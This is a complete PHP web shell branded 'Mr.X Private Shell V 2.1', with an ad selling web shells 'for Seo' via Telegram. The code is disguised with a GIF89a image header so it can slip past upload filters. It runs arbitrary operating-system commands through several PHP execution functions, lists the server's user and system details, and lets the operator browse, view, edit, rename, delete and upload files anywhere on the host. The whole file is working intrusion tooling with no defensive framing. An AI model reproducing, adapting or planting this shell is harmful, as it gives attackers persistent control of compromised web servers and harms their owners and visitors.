__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
GIF89a;
<?php
@session_start();
@error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time', 0);
$n = chr(49).chr(57);
$p = isset($_GET['path']) ? $_GET['path'] : @getcwd();
$p = str_replace('\\', '/', $p);
$fn1 = 'is_file'; if ($fn1($p)) $p = dirname($p);
@chdir($p);
$o = '';
if(isset($_POST['_x'])) {
$c = $_POST['_x'];
$fl = ['exec', 'system', 'passthru', 'proc_open', 'popen'];
foreach($fl as $fn) {
if(@function_exists($fn)) {
if($fn == $fl[0]) { $fn($c, $r); $o = implode("\n", $r); break; }
elseif($fn == $fl[1] || $fn == $fl[2]) { ob_start(); $fn($c); $o = ob_get_clean(); break; }
elseif($fn == $fl[3]) {
$d = [0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];
$h = $fn($c, $d, $p2);
if(is_resource($h)) { $o = stream_get_contents($p2[1]); fclose($p2[0]); fclose($p2[1]); fclose($p2[2]); proc_close($h); }
break;
}
elseif($fn == $fl[4]) { $h = $fn($c, 'r'); if($h) { while(!feof($h)) $o .= fread($h, 4096); pclose($h); } break; }
}
}
if(empty($o)) $o = 'N/A';
}
function _fc($f) { return file_get_contents($f) ?: ''; }
echo '<!DOCTYPE html>
<html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="robots" content="noindex"><title>'.$n.'</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{background:#2a2a2a;color:#e0e0e0;font:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;padding:15px}
.wrap{max-width:1200px;margin:0 auto}
.top{background:#333;border:1px solid #444;border-radius:4px;padding:12px 15px;margin-bottom:15px;display:flex;align-items:center;justify-content:space-between}
.top .logo{font-size:18px;font-weight:600;color:#e0e0e0}
.top .info{font-size:15px;color:#999}
.panel{background:#333;border:1px solid #444;border-radius:4px;margin-bottom:15px}
.panel-hd{background:#3a3a3a;border-bottom:1px solid #444;padding:10px 15px;font-size:15px;font-weight:600;color:#e0e0e0}
.panel-bd{padding:15px;background:#333}
.path-nav{display:flex;flex-wrap:wrap;gap:3px;align-items:center;margin-bottom:10px}
.path-nav a{color:#d32f2f;text-decoration:none;padding:2px 4px;border-radius:3px;font-size:14px;font-weight:600}
.path-nav a:hover{background:#ffebee;color:#c62828;text-decoration:underline}
.path-nav .sep{color:#666;font-size:12px}
table{width:100%;border-collapse:collapse;font-size:14px;background:#333}
th{background:#3a3a3a;padding:8px 10px;text-align:left;font-weight:600;color:#ccc;border-bottom:2px solid #444}
td{padding:7px 10px;border-bottom:1px solid #444}
tr:hover{background:#3a3a3a}
.dir a{color:#d32f2f;font-weight:600;text-decoration:none}
.dir a:hover{color:#c62828;text-decoration:underline}
.file-name{color:#e0e0e0}
.size{color:#888;font-size:15px}
.act a{display:inline-block;padding:2px 6px;margin:1px;font-size:12px;text-decoration:none;border-radius:3px;border:1px solid #444;color:#ccc;transition:all .15s}
.act a:hover{transform:translateY(-1px)}
.act .v:hover{background:#e8f5e9;border-color:#4caf50;color:#2e7d32}
.act .e:hover{background:#fff3e0;border-color:#ff9800;color:#e65100}
.act .r:hover{background:#f3e5f5;border-color:#9c27b0;color:#7b1fa2}
.act .d:hover{background:#ffebee;border-color:#f44336;color:#c62828}
.cmd{display:flex;gap:8px}
.cmd input[type=text]{flex:1;padding:7px 10px;border:1px solid #444;border-radius:3px;font:12px/1.4 -apple-system,sans-serif;background:#2a2a2a;color:#e0e0e0}
.cmd input[type=text]:focus{outline:none;border-color:#1976d2;box-shadow:0 0 0 2px rgba(25,118,210,.15)}
.btn{padding:7px 15px;background:#1976d2;color:#fff;border:none;border-radius:3px;cursor:pointer;font:12px/1 -apple-system,sans-serif}
.btn:hover{background:#1565c0}
.out{background:#1e1e1e;color:#d4d4d4;padding:10px;border-radius:3px;margin-top:10px;font:11px/1.5 "Fira Code",monospace;max-height:300px;overflow:auto;white-space:pre-wrap;word-break:break-all}
.badge{display:inline-block;padding:1px 5px;border-radius:2px;font-size:11px;font-weight:600;margin-right:5px}
.badge-d{background:#ffebee;color:#d32f2f;border:1px solid #ef9a9a}
.badge-f{background:#2a2a2a;color:#aaa;border:1px solid #444}
textarea{width:100%;height:400px;padding:10px;border:1px solid #444;border-radius:3px;font:11px/1.5 "Fira Code",monospace;resize:vertical;background:#2a2a2a;color:#e0e0e0}
textarea:focus{outline:none;border-color:#1976d2}
.msg{padding:8px 12px;border-radius:3px;margin:10px 0;font-size:14px}
.msg-ok{background:#e8f5e9;color:#2e7d32;border:1px solid #81c784}
.msg-err{background:#ffebee;color:#c62828;border:1px solid #ef9a9a}
input[type=file]{font-size:15px}
.footer{text-align:center;color:#666;font-size:12px;margin-top:15px;padding:10px}
</style></head><body><div class="wrap">
<div class="top">
<span class="logo">'.php_uname('s').' '.php_uname('r').'</span>
<span class="info">'.phpversion().' | '.php_uname('m').'</span>
</div>';
echo '<div class="panel"><div class="panel-bd"><table>
<tr><td style="width:80px;color:#888">Server</td><td>'.$_SERVER['SERVER_ADDR'].'</td></tr>
<tr><td style="color:#888">User</td><td>'.get_current_user().' (uid:'.getmyuid().')</td></tr>
<tr><td style="color:#888">PHP</td><td>'.phpversion().' ('.php_sapi_name().')</td></tr>
</table></div></div>';
echo '<div class="panel"><div class="panel-bd">
<form method="POST" class="cmd">
<input type="text" name="_x" placeholder="..." value="'.htmlspecialchars(isset($_POST['_x']) ? $_POST['_x'] : '').'">
<input type="submit" value="Run" class="btn">
</form>
'.(!empty($o) ? '<div class="out">'.$o.'</div>' : '').'
</div></div>';
echo '<div class="panel"><div class="panel-bd" style="display:flex;gap:8px;align-items:center;flex-wrap:wrap">
<form method="POST" enctype="multipart/form-data" style="display:flex;gap:8px;align-items:center">
<input type="file" name="f"> <input type="submit" value="Upload" class="btn">
</form>
</div>';
if(isset($_FILES['f'])) {
if(copy($_FILES['f']['tmp_name'], $p.'/'.$_FILES['f']['name']))
echo '<div class="msg msg-ok">Upload: '.$_FILES['f']['name'].'</div>';
}
if(@$_GET['action'] == 'upload' && isset($_GET['dir'])) {
$updir = $p.'/'.$_GET['dir'];
if(isset($_FILES['uf'])) {
if(copy($_FILES['uf']['tmp_name'], $updir.'/'.$_FILES['uf']['name']))
echo '<div class="msg msg-ok">Uploaded: '.$_FILES['uf']['name'].'</div>';
}
echo '<div class="panel"><div class="panel-hd">Upload to: '.$_GET['dir'].'</div><div class="panel-bd">
<form method="POST" enctype="multipart/form-data">
<input type="file" name="uf"> <input type="submit" value="Upload" class="btn">
</form>
<a href="?path='.$p.'" class="btn" style="text-decoration:none;margin-top:10px;display:inline-block;background:#555">Back</a>
</div></div></div></body></html>';
exit;
}
if(@$_GET['action'] == 'delete' && isset($_GET['item'])) {
if(unlink($_GET['item'])) echo '<div class="msg msg-ok">Deleted</div>';
}
if(isset($_GET['action']) && isset($_GET['item'])) {
$item = $_GET['item'];
if($_GET['action'] == 'view') {
echo '<div class="panel"><div class="panel-hd">View: '.$item.'</div><div class="panel-bd">
<textarea readonly>'.htmlspecialchars(_fc($item)).'</textarea><br>
<a href="?path='.$p.'" class="btn" style="text-decoration:none;display:inline-block;margin-top:10px">Back</a>
</div></div></div></body></html>';
exit;
}
if($_GET['action'] == 'edit') {
if(isset($_POST['content'])) {
if(file_put_contents($item, $_POST['content']))
echo '<div class="msg msg-ok">Saved</div>';
}
echo '<div class="panel"><div class="panel-hd">Edit: '.$item.'</div><div class="panel-bd">
<form method="POST">
<textarea name="content">'.htmlspecialchars(_fc($item)).'</textarea><br>
<input type="submit" value="Save" class="btn" style="margin-top:10px">
<a href="?path='.$p.'" class="btn" style="text-decoration:none;margin-left:5px;background:#555">Back</a>
</form>
</div></div></div></body></html>';
exit;
}
if($_GET['action'] == 'rename') {
if(isset($_POST['newname'])) {
$newpath = dirname($item).'/'. $_POST['newname'];
if(rename($item, $newpath)) echo '<div class="msg msg-ok">Renamed</div>';
}
$basename = basename($item);
echo '<div class="panel"><div class="panel-hd">Rename: '.$basename.'</div><div class="panel-bd">
<form method="POST">
<input type="text" name="newname" value="'.$basename.'"><br><br>
<input type="submit" value="Rename" class="btn">
<a href="?path='.$p.'" class="btn" style="text-decoration:none;margin-left:5px;background:#555">Back</a>
</form>
</div></div></div></body></html>';
exit;
}
}
$items = scandir($p);
$dirs = []; $files = [];
foreach($items as $i) {
if($i == "." || $i == "..") continue;
if(is_dir($p.'/'.$i)) $dirs[] = $i; else $files[] = $i;
}
echo '<div class="panel"><div class="panel-bd"><div class="path-nav">';
$paths = explode('/', $p);
$cur_path = '';
foreach($paths as $id => $pat) {
if($pat == '' && $id == 0) {
$cur_path = '/';
$root_w = is_writable('/') ? '#2e7d32' : '#d32f2f';
echo '<a href="?path=/" style="color:'.$root_w.'">/</a>';
continue;
}
if($pat == '') continue;
$cur_path .= '/'.$pat;
$pw = is_writable($cur_path) ? '#2e7d32' : '#d32f2f';
echo '<span class="sep">/</span><a href="?path='.$cur_path.'" style="color:'.$pw.'">'.$pat.'</a>';
}
echo '</div><table><tr><th>Name</th><th style="width:80px">Size</th><th style="width:220px">Actions</th></tr>';
foreach($dirs as $d) {
$d_path = $p.'/'.$d;
$d_w = is_writable($d_path);
$d_color = $d_w ? '#2e7d32' : '#d32f2f';
$d_badge = $d_w ? 'background:#e8f5e9;color:#2e7d32;border:1px solid #81c784' : 'background:#ffebee;color:#d32f2f;border:1px solid #ef9a9a';
$d_status = $d_w ? 'W' : 'R';
echo '<tr><td class="dir"><span class="badge" style="'.$d_badge.'">'.$d_status.'</span><a href="?path='.$d_path.'" style="color:'.$d_color.'">'.$d.'</a></td>
<td class="size">-</td><td class="act">
<a href="?path='.$d_path.'" class="v">Open</a>
<a href="?path='.$p.'&action=rename&item='.$d.'" class="r">Rename</a>
<a href="?path='.$p.'&action=edit&item='.$d.'" class="e">Edit</a>
'.($d_w ? '<a href="?path='.$p.'&action=upload&dir='.$d.'" class="v">Upload</a>' : '<span style="color:#666;font-size:12px">No Upload</span>').'
</td></tr>';
}
foreach($files as $f) {
$fp = $p.'/'.$f;
$sz = filesize($fp);
$ss = $sz > 1048576 ? round($sz/1048576,1).'M' : round($sz/1024,1).'K';
echo '<tr><td class="file-name"><span class="badge badge-f">F</span>'.$f.'</td>
<td class="size">'.$ss.'</td><td class="act">
<a href="?path='.$p.'&action=view&item='.$fp.'" class="v">View</a>
<a href="?path='.$p.'&action=edit&item='.$fp.'" class="e">Edit</a>
<a href="?path='.$p.'&action=rename&item='.$fp.'" class="r">Rename</a>
<a href="?path='.$p.'&action=delete&item='.$fp.'" onclick="return confirm(\'Delete?\')" class="d">Del</a>
</td></tr>';
}
echo '</table></div></div>';
echo '<div class="footer">'.$n.'</div>';
echo '</div></body></html>';
?>
